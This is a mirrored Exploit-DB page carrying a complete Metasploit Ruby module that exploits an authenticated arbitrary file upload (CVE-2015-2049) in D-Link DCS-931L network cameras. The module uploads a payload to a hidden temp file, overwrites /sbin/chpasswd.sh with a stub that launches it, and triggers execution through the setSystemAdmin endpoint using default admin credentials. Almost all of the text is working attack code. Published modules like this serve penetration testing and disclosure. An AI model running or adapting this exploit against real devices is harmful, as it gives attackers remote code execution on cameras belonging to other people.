D-Link DCS-931L – Arbitrary File Upload (Metasploit) - 体验盒子

作者： Metasploit
日期： 2016-01-07
类别：
webapps
平台：
hardware
来源：https://www.exploit-db.com/exploits/39192/
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

HttpFingerprint = { :pattern => [ /alphapd/ ] }

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-931L File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in D-Link DCS-931L
network cameras. The setFileUpload functionality allows authenticated
users to upload files to anywhere on the file system, allowing system
files to be overwritten, resulting in execution of arbitrary commands.
This module has been tested successfully on a D-Link DCS-931L with
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
affected, but untested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'Payload' =>
{
'Space' => 1024, # File upload
'DisableNops' => true
},
'Platform' => 'linux',
'Privileged' => false,
'Targets' =>
[
[ 'Linux mipsle Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2015-2049' ],
[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
],
'DisclosureDate' => 'Feb 23 2015'))

register_options(
[
OptString.new('USERNAME',[true, 'Camera username', 'admin']),
OptString.new('PASSWORD',[false, 'Camera password (default: blank)', ''])
], self.class)
end

def check
res = send_request_cgi(
'uri' => normalize_uri('uploadfile.htm'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']
))

unless res
vprint_status("#{peer} - The connection timed out.")
return Exploit::CheckCode::Unknown
end

if res.code && res.code == 404
vprint_status("#{peer} - uploadfile.htm does not exist")
return Exploit::CheckCode::Safe
elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/
vprint_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Detected
elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"

# upload payload
res = upload(payload_path, generate_payload_exe)

unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end

if res.code && res.code == 404
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
print_good("#{peer} - Payload uploaded successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
end
register_file_for_cleanup(payload_path)

# overwrite /sbin/chpasswd.sh with stub
res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")

unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end

if res.code && res.code == 404
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
print_good("#{peer} - Stager uploaded successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
end

# execute payload using stub
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setSystemAdmin'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'vars_post' => Hash[{
'ReplySuccessPage' => 'advanced.htm',
'ReplyErrorPage' => 'errradv.htm',
'ConfigSystemAdmin' => 'Apply'
}.to_a.shuffle])

unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end

if res.code && res.code == 401
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
elsif res.code && res.code == 200 && res.body
print_good("#{peer} - Payload executed successfully")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
end
end

#
# Replace chpasswd.sh with original contents
#
def cleanup
chpasswd = <<-EOF
#!/bin/sh
#
# $Id: chpasswd.sh, v1.00 2009-11-05 andy
#
# usage: chpasswd.sh <user name> [<password>]
#

if [ "$1" == "" ]; then
echo "chpasswd: no user name"
exit 1
fi

echo "$1:$2" > /tmp/tmpchpw
chpasswd < /tmp/tmpchpw
rm -f /tmp/tmpchpw
EOF
res = upload('/sbin/chpasswd.sh', chpasswd)
if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully")
else
vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default")
end
end

#
# Upload a file to a specified path
#
def upload(path, data)
vprint_status("#{peer} - Writing #{data.length} bytes to #{path}")

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data= "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
post_data << "\r\n#{path}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
post_data << "\r\nUpload File\r\n"
post_data << "--#{boundary}\r\n"

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setFileUpload'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data)
end
end